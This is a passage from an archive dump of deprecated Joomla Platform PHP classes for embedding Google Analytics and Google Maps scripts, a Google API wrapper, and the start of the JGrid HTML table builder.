return $this->auth->query($url, $data, $headers, $method);
}
/**
* Get an option from the JGoogleData instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleData instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleData This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
google/embed/analytics.php000064400000017524151171674110011611
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Google Analytics embed class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleEmbedAnalytics extends JGoogleEmbed
{
/**
* Method to get the tracking code
*
* @return string The Google Analytics tracking code
*
* @since 3.1.4
*/
public function getCode()
{
return $this->getOption('code');
}
/**
* Method to set the tracking code
*
* @param string $code The Google Analytics tracking code
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function setCode($code)
{
$this->setOption('code', $code);
return $this;
}
/**
* Checks if the javascript is set to be asynchronous
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function isAsync()
{
return $this->getOption('async') === null ? true :
$this->getOption('async');
}
/**
* Load javascript asynchronously
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function useAsync()
{
$this->setOption('async', true);
return $this;
}
/**
* Load javascript synchronously
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function useSync()
{
$this->setOption('async', false);
return $this;
}
/**
* Add an analytics call
*
* @param string $method The name of the function
* @param array $params The parameters for the call
*
* @return array The added call
*
* @since 3.1.4
*/
public function addCall($method, $params = array())
{
$call = array('name' => $method, 'params' =>
$params);
$calls = $this->listCalls();
$calls[] = $call;
$this->setOption('calls', $calls);
return $call;
}
/**
* List the analytics calls to be executed
*
* @return array A list of calls
*
* @since 3.1.4
*/
public function listCalls()
{
return $this->getOption('calls') ?
$this->getOption('calls') : array();
}
/**
* Delete a call from the stack
*
* @param int $index Index of call to delete (defaults to last added
call)
*
* @return array The deleted call
*
* @since 3.1.4
*/
public function deleteCall($index = null)
{
$calls = $this->listCalls();
if ($index === null)
{
$index = count($calls) - 1;
}
$call = $calls[$index];
unset($calls[$index]);
$calls = array_values($calls);
$this->setOption('calls', $calls);
return $call;
}
/**
* Create a javascript function from the call parameters
*
* @param string $method The name of the function
* @param array $params The parameters for the call
*
* @return string The created call
*
* @since 3.1.4
*/
public function createCall($method, $params = array())
{
$params = array_values($params);
if ($this->isAsync())
{
$output = "_gaq.push(['{$method}',";
$output .= substr(json_encode($params), 1, -1);
$output .= ']);';
}
else
{
$output = "pageTracker.{$method}(";
$output .= substr(json_encode($params), 1, -1);
$output .= ');';
}
return $output;
}
/**
* Add a custom variable to the analytics
*
* @param int $slot The slot to store the variable in (1-5)
* @param string $name The variable name
* @param string $value The variable value
* @param int $scope The scope of the variable (1: visitor level,
2: session level, 3: page level)
*
* @return array The added call
*
* @since 3.1.4
*/
public function addCustomVar($slot, $name, $value, $scope = 3)
{
return $this->addCall('_setCustomVar', array($slot, $name,
$value, $scope));
}
/**
* Get the code to create a custom analytics variable
*
* @param int $slot The slot to store the variable in (1-5)
* @param string $name The variable name
* @param string $value The variable value
* @param int $scope The scope of the variable (1: visitor level,
2: session level, 3: page level)
*
* @return string The created call
*
* @since 3.1.4
*/
public function createCustomVar($slot, $name, $value, $scope = 3)
{
return $this->createCall('_setCustomVar', array($slot,
$name, $value, $scope));
}
/**
* Track an analytics event
*
* @param string $category The general event category
* @param string $action The event action
* @param string $label The event description
* @param string $value The value of the event
* @param boolean $noninteract Don't allow this event to impact
bounce statistics
*
* @return array The added call
*
* @since 3.1.4
*/
public function addEvent($category, $action, $label = null, $value = null,
$noninteract = false)
{
return $this->addCall('_trackEvent', array($category,
$action, $label, $value, $noninteract));
}
/**
* Get the code to track an analytics event
*
* @param string $category The general event category
* @param string $action The event action
* @param string $label The event description
* @param string $value The value of the event
* @param boolean $noninteract Don't allow this event to impact
bounce statistics
*
* @return string The created call
*
* @since 3.1.4
*/
public function createEvent($category, $action, $label = null, $value =
null, $noninteract = false)
{
return $this->createCall('_trackEvent', array($category,
$action, $label, $value, $noninteract));
}
/**
* Get code to load Google Analytics javascript
*
* @return string Javascript code
*
* @since 3.1.4
*/
public function getHeader()
{
if (!$this->isAsync())
{
// Synchronous code is included only in the body
return '';
}
if (!$this->getOption('code'))
{
throw new UnexpectedValueException('A Google Analytics tracking
code is required.');
}
$code = $this->getOption('code');
$output = '<script type="text/javascript">';
$output .= 'var _gaq = _gaq || [];';
$output .= "_gaq.push(['_setAccount',
'{$code}']);";
foreach ($this->listCalls() as $call)
{
$output .= $this->createCall($call['name'],
$call['params']);
}
$output .= '_gaq.push(["_trackPageview"]);';
$output .= '</script>';
return $output;
}
/**
* Google Analytics only needs to be included in the header
*
* @return null
*
* @since 3.1.4
*/
public function getBody()
{
if (!$this->getOption('code'))
{
throw new UnexpectedValueException('A Google Analytics tracking
code is required.');
}
$prefix = $this->isSecure() ? 'https://ssl' :
'http://www';
$code = $this->getOption('code');
if ($this->isAsync())
{
$output = '<script type="text/javascript">';
$output .= '(function() {';
$output .= 'var ga = document.createElement("script");
ga.type = "text/javascript"; ga.async = true;';
$output .= "ga.src =
'{$prefix}.google-analytics.com/ga.js';";
$output .= 'var s =
document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(ga, s);';
$output .= '})();';
$output .= '</script>';
}
else
{
$output = '<script type="text/javascript">';
$output .= "document.write(unescape(\"%3Cscript
src='{$prefix}.google-analytics.com/ga.js'
type='text/javascript'%3E%3C/script%3E\"));";
$output .= '</script>';
$output .= '<script type="text/javascript">';
$output .= 'try{';
$output .= "var pageTracker =
_gat._getTracker('{$code}');";
foreach ($this->listCalls() as $call)
{
$output .= $this->createCall($call['name'],
$call['params']);
}
$output .= 'pageTracker._trackPageview();';
$output .= '} catch(err) {}</script>';
}
return $output;
}
}
google/embed/maps.php000064400000041726151171674110010563 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Maps embed class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleEmbedMaps extends JGoogleEmbed
{
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $http;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JUri $uri URL of the page being rendered
* @param JHttp $http Http client for geocoding requests
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JUri $uri = null,
JHttp $http = null)
{
parent::__construct($options, $uri);
$this->http = $http ? $http : new JHttp($this->options);
}
/**
* Method to get the API key
*
* @return string The Google Maps API key
*
* @since 3.1.4
*/
public function getKey()
{
return $this->getOption('key');
}
/**
* Method to set the API key
*
* @param string $key The Google Maps API key
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setKey($key)
{
$this->setOption('key', $key);
return $this;
}
/**
* Method to get the id of the map div
*
* @return string The ID
*
* @since 3.1.4
*/
public function getMapId()
{
return $this->getOption('mapid') ?
$this->getOption('mapid') : 'map_canvas';
}
/**
* Method to set the map div id
*
* @param string $id The ID
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapId($id)
{
$this->setOption('mapid', $id);
return $this;
}
/**
* Method to get the class of the map div
*
* @return string The class
*
* @since 3.1.4
*/
public function getMapClass()
{
return $this->getOption('mapclass') ?
$this->getOption('mapclass') : '';
}
/**
* Method to set the map div class
*
* @param string $class The class
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapClass($class)
{
$this->setOption('mapclass', $class);
return $this;
}
/**
* Method to get the style of the map div
*
* @return string The style
*
* @since 3.1.4
*/
public function getMapStyle()
{
return $this->getOption('mapstyle') ?
$this->getOption('mapstyle') : '';
}
/**
* Method to set the map div style
*
* @param string $style The style
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapStyle($style)
{
$this->setOption('mapstyle', $style);
return $this;
}
/**
* Method to get the map type setting
*
* @return string The class
*
* @since 3.1.4
*/
public function getMapType()
{
return $this->getOption('maptype') ?
$this->getOption('maptype') : 'ROADMAP';
}
/**
* Method to set the map type ()
*
* @param string $type Valid types are ROADMAP, SATELLITE, HYBRID, and
TERRAIN
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapType($type)
{
$this->setOption('maptype', strtoupper($type));
return $this;
}
/**
* Method to get additional map options
*
* @return string The options
*
* @since 3.1.4
*/
public function getAdditionalMapOptions()
{
return $this->getOption('mapoptions') ?
$this->getOption('mapoptions') : array();
}
/**
* Method to add additional map options
*
* @param array $options Additional map options
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAdditionalMapOptions($options)
{
$this->setOption('mapoptions', $options);
return $this;
}
/**
* Method to get additional map options
*
* @return string The options
*
* @since 3.1.4
*/
public function getAdditionalJavascript()
{
return $this->getOption('extrascript') ?
$this->getOption('extrascript') : '';
}
/**
* Method to add additional javascript
*
* @param array $script Additional javascript
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAdditionalJavascript($script)
{
$this->setOption('extrascript', $script);
return $this;
}
/**
* Method to get the zoom
*
* @return int The zoom level
*
* @since 3.1.4
*/
public function getZoom()
{
return $this->getOption('zoom') ?
$this->getOption('zoom') : 0;
}
/**
* Method to set the map zoom
*
* @param int $zoom Zoom level (0 is whole world)
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setZoom($zoom)
{
$this->setOption('zoom', $zoom);
return $this;
}
/**
* Method to set the center of the map
*
* @return mixed A latitude longitude array or an address string
*
* @since 3.1.4
*/
public function getCenter()
{
return $this->getOption('mapcenter') ?
$this->getOption('mapcenter') : array(0, 0);
}
/**
* Method to set the center of the map
*
* @param mixed $location A latitude/longitude array or an
address string
* @param mixed $title Title of marker or false for no marker
* @param array $markeroptions Options for marker
* @param array $markerevents Events for marker
*
* @example with events call:
* $map->setCenter(
* array(0, 0),
* 'Map Center',
* array(),
* array(
* 'click' => 'function() { // code goes here }
* )
* )
*
* @return JGoogleEmbedMaps The latitude/longitude of the center or
false on failure
*
* @since 3.1.4
*/
public function setCenter($location, $title = true, $markeroptions =
array(), $markerevents = array())
{
if ($title)
{
$title = is_string($title) ? $title : null;
if (!$marker = $this->addMarker($location, $title, $markeroptions,
$markerevents))
{
return false;
}
$location = $marker['loc'];
}
elseif (is_string($location))
{
$geocode = $this->geocodeAddress($location);
if (!$geocode)
{
return false;
}
$location = $geocode['geometry']['location'];
$location = array_values($location);
}
$this->setOption('mapcenter', $location);
return $this;
}
/**
* Method to add an event handler to the map.
* Event handlers must be passed in either as callback name or fully
qualified function declaration
*
* @param string $type The event name
* @param string $function The event handling function body
*
* @example to add an event call:
* $map->addEventHandler('click', 'function(){
alert("map click event"); }');
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function addEventHandler($type, $function)
{
$events = $this->listEventHandlers();
$events[$type] = $function;
$this->setOption('events', $events);
return $this;
}
/**
* Method to remove an event handler from the map
*
* @param string $type The event name
*
* @example to delete an event call:
* $map->deleteEventHandler('click');
*
* @return string The event handler content
*
* @since 3.1.4
*/
public function deleteEventHandler($type = null)
{
$events = $this->listEventHandlers();
if ($type === null || !isset($events[$type]))
{
return;
}
$event = $events[$type];
unset($events[$type]);
$this->setOption('events', $events);
return $event;
}
/**
* List the events added to the map
*
* @return array A list of events
*
* @since 3.1.4
*/
public function listEventHandlers()
{
return $this->getOption('events') ?
$this->getOption('events') : array();
}
/**
* Add a marker to the map
*
* @param mixed $location A latitude/longitude array or an address
string
* @param mixed $title The hover-text for the marker
* @param array $options Options for marker
* @param array $events Events for marker
*
* @example with events call:
* $map->addMarker(
* array(0, 0),
* 'My Marker',
* array(),
* array(
* 'click' => 'function() { // code goes here }
* )
* )
*
* @return mixed The marker or false on failure
*
* @since 3.1.4
*/
public function addMarker($location, $title = null, $options = array(),
$events = array())
{
if (is_string($location))
{
if (!$title)
{
$title = $location;
}
$geocode = $this->geocodeAddress($location);
if (!$geocode)
{
return false;
}
$location = $geocode['geometry']['location'];
}
elseif (!$title)
{
$title = implode(', ', $location);
}
$location = array_values($location);
$marker = array('loc' => $location, 'title' =>
$title, 'options' => $options, 'events' =>
$events);
$markers = $this->listMarkers();
$markers[] = $marker;
$this->setOption('markers', $markers);
return $marker;
}
/**
* List the markers added to the map
*
* @return array A list of markers
*
* @since 3.1.4
*/
public function listMarkers()
{
return $this->getOption('markers') ?
$this->getOption('markers') : array();
}
/**
* Delete a marker from the map
*
* @param int $index Index of marker to delete (defaults to last added
marker)
*
* @return array The latitude/longitude of the deleted marker
*
* @since 3.1.4
*/
public function deleteMarker($index = null)
{
$markers = $this->listMarkers();
if ($index === null)
{
$index = count($markers) - 1;
}
if ($index >= count($markers) || $index < 0)
{
throw new OutOfBoundsException('Marker index out of bounds.');
}
$marker = $markers[$index];
unset($markers[$index]);
$markers = array_values($markers);
$this->setOption('markers', $markers);
return $marker;
}
/**
* Checks if the javascript is set to be asynchronous
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function isAsync()
{
return $this->getOption('async') === null ? true :
$this->getOption('async');
}
/**
* Load javascript asynchronously
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function useAsync()
{
$this->setOption('async', true);
return $this;
}
/**
* Load javascript synchronously
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function useSync()
{
$this->setOption('async', false);
return $this;
}
/**
* Method to get callback function for async javascript loading
*
* @return string The ID
*
* @since 3.1.4
*/
public function getAsyncCallback()
{
return $this->getOption('callback') ?
$this->getOption('callback') : 'initialize';
}
/**
* Method to set the callback function for async javascript loading
*
* @param string $callback The callback function name
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAsyncCallback($callback)
{
$this->setOption('callback', $callback);
return $this;
}
/**
* Checks if a sensor is set to be required
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function hasSensor()
{
return $this->getOption('sensor') === null ? false :
$this->getOption('sensor');
}
/**
* Require access to sensor data
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function useSensor()
{
$this->setOption('sensor', true);
return $this;
}
/**
* Don't require access to sensor data
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function noSensor()
{
$this->setOption('sensor', false);
return $this;
}
/**
* Checks how the script should be loaded
*
* @return string Autoload type (onload, jquery, mootools, or false)
*
* @since 3.1.4
*/
public function getAutoload()
{
return $this->getOption('autoload') ?
$this->getOption('autoload') : 'false';
}
/**
* Automatically add the callback to the window
*
* @param string $type The method to add the callback (options are
onload, jquery, mootools, and false)
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAutoload($type = 'onload')
{
$this->setOption('autoload', $type);
return $this;
}
/**
* Get code to load Google Maps javascript
*
* @return string Javascript code
*
* @since 3.1.4
*/
public function getHeader()
{
$zoom = $this->getZoom();
$center = $this->getCenter();
$maptype = $this->getMapType();
$id = $this->getMapId();
$scheme = $this->isSecure() ? 'https' : 'http';
$key = $this->getKey();
$sensor = $this->hasSensor() ? 'true' : 'false';
$setup = 'var mapOptions = {';
$setup .= "zoom: {$zoom},";
$setup .= "center: new
google.maps.LatLng({$center[0]},{$center[1]}),";
$setup .= "mapTypeId: google.maps.MapTypeId.{$maptype},";
$setup .= substr(json_encode($this->getAdditionalMapOptions()), 1,
-1);
$setup .= '};';
$setup .= "var map = new
google.maps.Map(document.getElementById('{$id}'),
mapOptions);";
$events = $this->listEventHandlers();
if (isset($events) && count($events))
{
foreach ($events as $type => $handler)
{
$setup .= "google.maps.event.addListener(map, '{$type}',
{$handler});";
}
}
$markers = $this->listMarkers();
if (isset($markers) && count($markers))
{
$setup .= 'var marker;';
foreach ($markers as $marker)
{
$loc = $marker['loc'];
$title = $marker['title'];
$options = $marker['options'];
$setup .= 'marker = new google.maps.Marker({';
$setup .= "position: new
google.maps.LatLng({$loc[0]},{$loc[1]}),";
$setup .= 'map: map,';
$setup .= "title:'{$title}',";
$setup .= substr(json_encode($options), 1, -1);
$setup .= '});';
if (isset($marker['events']) &&
is_array($marker['events']))
{
foreach ($marker['events'] as $type => $handler)
{
$setup .= 'google.maps.event.addListener(marker, "' .
$type . '", ' . $handler . ');';
}
}
}
}
$setup .= $this->getAdditionalJavascript();
if ($this->isAsync())
{
$asynccallback = $this->getAsyncCallback();
$output = '<script type="text/javascript">';
$output .= "function {$asynccallback}() {";
$output .= $setup;
$output .= '}';
$onload = 'function() {';
$onload .= 'var script =
document.createElement("script");';
$onload .= 'script.type = "text/javascript";';
$onload .= "script.src =
'{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ?
"key={$key}&" : '')
. "sensor={$sensor}&callback={$asynccallback}';";
$onload .= 'document.body.appendChild(script);';
$onload .= '}';
}
else
{
$output = "<script type='text/javascript'
src='{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ?
"key={$key}&" : '') .
"sensor={$sensor}'>";
$output .= '</script>';
$output .= '<script type="text/javascript">';
$onload = 'function() {';
$onload .= $setup;
$onload .= '}';
}
switch ($this->getAutoload())
{
case 'onload':
$output .= "window.onload={$onload};";
break;
case 'jquery':
$output .= "jQuery(document).ready({$onload});";
break;
case 'mootools':
$output .= "window.addEvent('domready',{$onload});";
break;
}
$output .= '</script>';
return $output;
}
/**
* Method to retrieve the div that the map is loaded into
*
* @return string The body
*
* @since 3.1.4
*/
public function getBody()
{
$id = $this->getMapId();
$class = $this->getMapClass();
$style = $this->getMapStyle();
$output = "<div id='{$id}'";
if (!empty($class))
{
$output .= " class='{$class}'";
}
if (!empty($style))
{
$output .= " style='{$style}'";
}
$output .= '></div>';
return $output;
}
/**
* Method to get the location information back from an address
*
* @param string $address The address to geocode
*
* @return array An array containing Google's geocode data
*
* @since 3.1.4
*/
public function geocodeAddress($address)
{
$uri =
JUri::getInstance('https://maps.googleapis.com/maps/api/geocode/json');
$uri->setVar('address', urlencode($address));
if (($key = $this->getKey()))
{
$uri->setVar('key', $key);
}
$response = $this->http->get($uri->toString());
if ($response->code < 200 || $response->code >= 300)
{
throw new RuntimeException('Error code ' . $response->code
. ' received geocoding address: ' . $response->body .
'.');
}
$data = json_decode($response->body, true);
if (!$data)
{
throw new RuntimeException('Invalid json received geocoding
address: ' . $response->body . '.');
}
if ($data['status'] != 'OK')
{
if (!empty($data['error_message']))
{
throw new RuntimeException($data['error_message']);
}
return;
}
return $data['results'][0];
}
}
google/embed.php000064400000004750151171674110007617 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google API object class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleEmbed
{
/**
* @var Registry Options for the Google data object.
* @since 3.1.4
*/
protected $options;
/**
* @var JUri URI of the page being rendered.
* @since 3.1.4
*/
protected $uri;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JUri $uri URL of the page being rendered
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JUri $uri = null)
{
$this->options = $options ? $options : new Registry;
$this->uri = $uri ? $uri : JUri::getInstance();
}
/**
* Method to retrieve the javascript header for the embed API
*
* @return string The header
*
* @since 3.1.4
*/
public function isSecure()
{
return $this->uri->getScheme() == 'https';
}
/**
* Method to retrieve the header for the API
*
* @return string The header
*
* @since 3.1.4
*/
abstract public function getHeader();
/**
* Method to retrieve the body for the API
*
* @return string The body
*
* @since 3.1.4
*/
abstract public function getBody();
/**
* Method to output the javascript header for the embed API
*
* @return null
*
* @since 3.1.4
*/
public function echoHeader()
{
echo $this->getHeader();
}
/**
* Method to output the body for the API
*
* @return null
*
* @since 3.1.4
*/
public function echoBody()
{
echo $this->getBody();
}
/**
* Get an option from the JGoogleEmbed instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleEmbed instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleEmbed This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
google/google.php000064400000007131151171674110010013 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with the Google APIs.
*
* @property-read JGoogleData $data Google API object for data.
* @property-read JGoogleEmbed $embed Google API object for embed
generation.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogle
{
/**
* @var Registry Options for the Google object.
* @since 3.1.4
*/
protected $options;
/**
* @var JGoogleAuth The authentication client object to use in sending
authenticated HTTP requests.
* @since 3.1.4
*/
protected $auth;
/**
* @var JGoogleData Google API object for data request.
* @since 3.1.4
*/
protected $data;
/**
* @var JGoogleEmbed Google API object for embed generation.
* @since 3.1.4
*/
protected $embed;
/**
* Constructor.
*
* @param Registry $options Google options object.
* @param JGoogleAuth $auth The authentication client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
$this->options = isset($options) ? $options : new Registry;
$this->auth = isset($auth) ? $auth : new
JGoogleAuthOauth2($this->options);
}
/**
* Method to create JGoogleData objects
*
* @param string $name Name of property to retrieve
* @param Registry $options Google options object.
* @param JGoogleAuth $auth The authentication client object.
*
* @return JGoogleData Google data API object.
*
* @since 3.1.4
*/
public function data($name, $options = null, $auth = null)
{
if ($this->options && !$options)
{
$options = $this->options;
}
if ($this->auth && !$auth)
{
$auth = $this->auth;
}
switch ($name)
{
case 'plus':
case 'Plus':
return new JGoogleDataPlus($options, $auth);
case 'picasa':
case 'Picasa':
return new JGoogleDataPicasa($options, $auth);
case 'adsense':
case 'Adsense':
return new JGoogleDataAdsense($options, $auth);
case 'calendar':
case 'Calendar':
return new JGoogleDataCalendar($options, $auth);
default:
return;
}
}
/**
* Method to create JGoogleEmbed objects
*
* @param string $name Name of property to retrieve
* @param Registry $options Google options object.
*
* @return JGoogleEmbed Google embed API object.
*
* @since 3.1.4
*/
public function embed($name, $options = null)
{
if ($this->options && !$options)
{
$options = $this->options;
}
switch ($name)
{
case 'maps':
case 'Maps':
return new JGoogleEmbedMaps($options);
case 'analytics':
case 'Analytics':
return new JGoogleEmbedAnalytics($options);
default:
return;
}
}
/**
* Get an option from the JGoogle instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogle instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogle This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
grid/grid.php000064400000022631151171674110007137 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Grid
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* JGrid class to dynamically generate HTML tables
*
* @since 1.7.3
* @deprecated 4.0 This class will be removed without any replacement
*/
class JGrid
{
/**
* Array of columns
* @var array
* @since 1.7.3
*/
protected $columns = array();
/**
* Current active row
* @var int
* @since 1.7.3
*/
protected $activeRow = 0;
/**
* Rows of the table (including header and footer rows)
* @var array
* @since 1.7.3
*/
protected $rows = array();
/**
* Header and Footer row-IDs
* @var array
* @since 1.7.3
*/
protected $specialRows = array('header' => array(),
'footer' => array());
/**
* Associative array of attributes for the table-tag
* @var array
* @since 1.7.3
*/
protected $options;
/**
* Constructor for a JGrid object
*
* @param array $options Associative array of attributes for the
table-tag
*
* @since 1.7.3
*/
public function __construct($options = array())
{
$this->setTableOptions($options, true);
}
/**
* Magic function to render this object as a table.
*
* @return string
*
* @since 1.7.3
*/
public function __toString()
{
return $this->toString();
}
/**
* Method to set the attributes for a table-tag
*
* @param array $options Associative array of attributes for the
table-tag
* @param bool $replace Replace possibly existing attributes
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setTableOptions($options = array(), $replace = false)
{
if ($replace)
{
$this->options = $options;
}
else
{
$this->options = array_merge($this->options, $options);
}
return $this;
}
/**
* Get the Attributes of the current table
*
* @return array Associative array of attributes
*
* @since 1.7.3
*/
public function getTableOptions()
{
return $this->options;
}
/**
* Add new column name to process
*
* @param string $name Internal column name
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function addColumn($name)
{
$this->columns[] = $name;
return $this;
}
/**
* Returns the list of internal columns
*
* @return array List of internal columns
*
* @since 1.7.3
*/
public function getColumns()
{
return $this->columns;
}
/**
* Delete column by name
*
* @param string $name Name of the column to be deleted
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function deleteColumn($name)
{
$index = array_search($name, $this->columns);
if ($index !== false)
{
unset($this->columns[$index]);
$this->columns = array_values($this->columns);
}
return $this;
}
/**
* Method to set a whole range of columns at once
* This can be used to re-order the columns, too
*
* @param array $columns List of internal column names
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setColumns($columns)
{
$this->columns = array_values($columns);
return $this;
}
/**
* Adds a row to the table and sets the currently
* active row to the new row
*
* @param array $options Associative array of attributes for the row
* @param int $special 1 for a new row in the header, 2 for a new
row in the footer
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function addRow($options = array(), $special = false)
{
$this->rows[]['_row'] = $options;
$this->activeRow = count($this->rows) - 1;
if ($special)
{
if ($special === 1)
{
$this->specialRows['header'][] = $this->activeRow;
}
else
{
$this->specialRows['footer'][] = $this->activeRow;
}
}
return $this;
}
/**
* Method to get the attributes of the currently active row
*
* @return array Associative array of attributes
*
* @since 1.7.3
*/
public function getRowOptions()
{
return $this->rows[$this->activeRow]['_row'];
}
/**
* Method to set the attributes of the currently active row
*
* @param array $options Associative array of attributes
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setRowOptions($options)
{
$this->rows[$this->activeRow]['_row'] = $options;
return $this;
}
/**
* Get the currently active row ID
*
* @return int ID of the currently active row
*
* @since 1.7.3
*/
public function getActiveRow()
{
return $this->activeRow;
}
/**
* Set the currently active row
*
* @param int $id ID of the row to be set to current
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setActiveRow($id)
{
$this->activeRow = (int) $id;
return $this;
}
/**
* Set cell content for a specific column for the
* currently active row
*
* @param string $name Name of the column
* @param string $content Content for the cell
* @param array $option Associative array of attributes for the
td-element
* @param bool $replace If false, the content is appended to the
current content of the cell
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function setRowCell($name, $content, $option = array(), $replace =
true)
{
if ($replace || !isset($this->rows[$this->activeRow][$name]))
{
$cell = new stdClass;
$cell->options = $option;
$cell->content = $content;
$this->rows[$this->activeRow][$name] = $cell;
}
else
{
$this->rows[$this->activeRow][$name]->content .= $content;
$this->rows[$this->activeRow][$name]->options = $option;
}
return $this;
}
/**
* Get all data for a row
*
* @param int $id ID of the row to return
*
* @return array Array of columns of a table row
*
* @since 1.7.3
*/
public function getRow($id = false)
{
if ($id === false)
{
$id = $this->activeRow;
}
if (isset($this->rows[(int) $id]))
{
return $this->rows[(int) $id];
}
else
{
return false;
}
}
/**
* Get the IDs of all rows in the table
*
* @param int $special false for the standard rows, 1 for the header
rows, 2 for the footer rows
*
* @return array Array of IDs
*
* @since 1.7.3
*/
public function getRows($special = false)
{
if ($special)
{
if ($special === 1)
{
return $this->specialRows['header'];
}
else
{
return $this->specialRows['footer'];
}
}
return array_diff(array_keys($this->rows),
array_merge($this->specialRows['header'],
$this->specialRows['footer']));
}
/**
* Delete a row from the object
*
* @param int $id ID of the row to be deleted
*
* @return JGrid This object for chaining
*
* @since 1.7.3
*/
public function deleteRow($id)
{
unset($this->rows[$id]);
if (in_array($id, $this->specialRows['header']))
{
unset($this->specialRows['header'][array_search($id,
$this->specialRows['header'])]);
}
if (in_array($id, $this->specialRows['footer']))
{
unset($this->specialRows['footer'][array_search($id,
$this->specialRows['footer'])]);
}
if ($this->activeRow == $id)
{
end($this->rows);
$this->activeRow = key($this->rows);
}
return $this;
}
/**
* Render the HTML table
*
* @return string The rendered HTML table
*
* @since 1.7.3
*/
public function toString()
{
$output = array();
$output[] = '<table' .
$this->renderAttributes($this->getTableOptions()) . '>';
if (count($this->specialRows['header']))
{
$output[] =
$this->renderArea($this->specialRows['header'],
'thead', 'th');
}
if (count($this->specialRows['footer']))
{
$output[] =
